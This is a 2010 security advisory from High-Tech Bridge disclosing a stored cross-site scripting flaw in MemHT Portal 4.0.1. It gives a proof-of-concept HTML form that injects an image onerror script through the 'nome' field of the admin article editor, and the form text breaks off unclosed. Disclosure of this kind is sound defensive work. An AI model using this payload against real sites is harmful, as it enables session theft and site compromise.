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Stored XSS (Cross Site Scripting) vulnerability in MemHT Portal

Vulnerability ID: HTB22663
Reference: http://www.htbridge.ch/advisory/stored_xss_cross_site_scripting_vulnerability_in_memht_portal.html
Product: MemHT Portal
Vendor: Miltenovik Manojlo ( http://www.memht.com/ ) 
Vulnerable Version: 4.0.1 and probably prior versions
Vendor Notification: 19 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/pages/articles/index.php" script to properly sanitize user-supplied input in "nome" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?page=articles&op=editArticle&id=1&ok=true"; method="post" name="main">
<input type="hidden" name="nome" value="Example article<img src=x onerror=alert(123)>">
<input type="hidden" name="argomento" value="1">
<input type="hidden" name="descrizione" value="description">
<input type="hidden" name="testo" value="text">
<input type="hidden" name="autore" value="User">
<input type="hidden" name="tags" value="article,example">
<input type="hidden" name="language" value="0">
<input type="hidden" name="usecomments" value="1">
<input type="hidden" name="enabled" value="1">
<input type="hidden" name="Submit" value="Modify">